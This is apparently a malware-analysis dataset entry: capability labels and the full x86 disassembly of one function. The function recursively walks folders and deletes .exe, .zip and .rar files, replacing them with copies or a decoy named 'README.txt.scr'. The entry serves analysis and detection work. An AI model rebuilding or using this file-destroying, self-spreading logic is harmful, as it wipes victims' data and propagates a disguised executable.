Function at 0x403860
Capabilities:
Copy file
Delete file
Enumerate files on windows
Enumerate files recursively
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
mov dword [ebp - 4], 0
push 0x104
push 0
lea eax, [ebp - 0x360]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x258]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x148]
push edx
push 0x4079a8
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xffffffff
je 0x403b13
movsx eax, byte [ebp - 0x11c]
cmp eax, 0x2e
je 0x403aea
mov ecx, dword [ebp - 0x148]
and ecx, 0x10
mov dword [ebp - 0x148], ecx
je 0x403909
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp eax, 1
jne 0x403904
call fcn.00403860
push 0x4079ac
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
jmp 0x403aea
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x258]
push ecx
push 0x104
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x403aea
push str.Recycle.Bin
lea eax, [ebp - 0x258]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x403aea
lea ecx, [ebp - 0x258]
push ecx
lea edx, [ebp - 0x360]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x360]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
mov dword [ebp - 0x364], 0
jmp 0x403988
mov ecx, dword [ebp - 0x364]
add ecx, 1
mov dword [ebp - 0x364], ecx
cmp dword [ebp - 0x364], 8
jae 0x403aea
mov edx, dword [ebp - 0x364]
mov eax, dword [edx*4 + 0x40b03c]
push eax
lea ecx, [ebp - 0x360]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
je 0x403ae5
lea edx, [ebp - 0x360]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
je 0x403ae5
push str..exe
mov eax, dword [ebp - 0x14c]
push eax
call fcn.00401210
add esp, 8
test eax, eax
je 0x403a26
push 0x80
lea ecx, [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0x258]
push eax
call fcn.00403740
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str..zip
lea ecx, [ebp - 0x360]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
je 0x403a7f
push 0x80
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4079cc
lea ecx, [ebp - 0x258]
push ecx
call fcn.00403740
push eax
call fcn.00406400
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str..rar
lea edx, [ebp - 0x360]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x403add
push 0x80
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x80
push str.README.txt.scr
call fcn.00403740
push eax
lea edx, [ebp - 0x258]
push edx
call fcn.00403c40
add esp, 0x10
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403979
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4038c1
mov edx, dword [ebp - 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret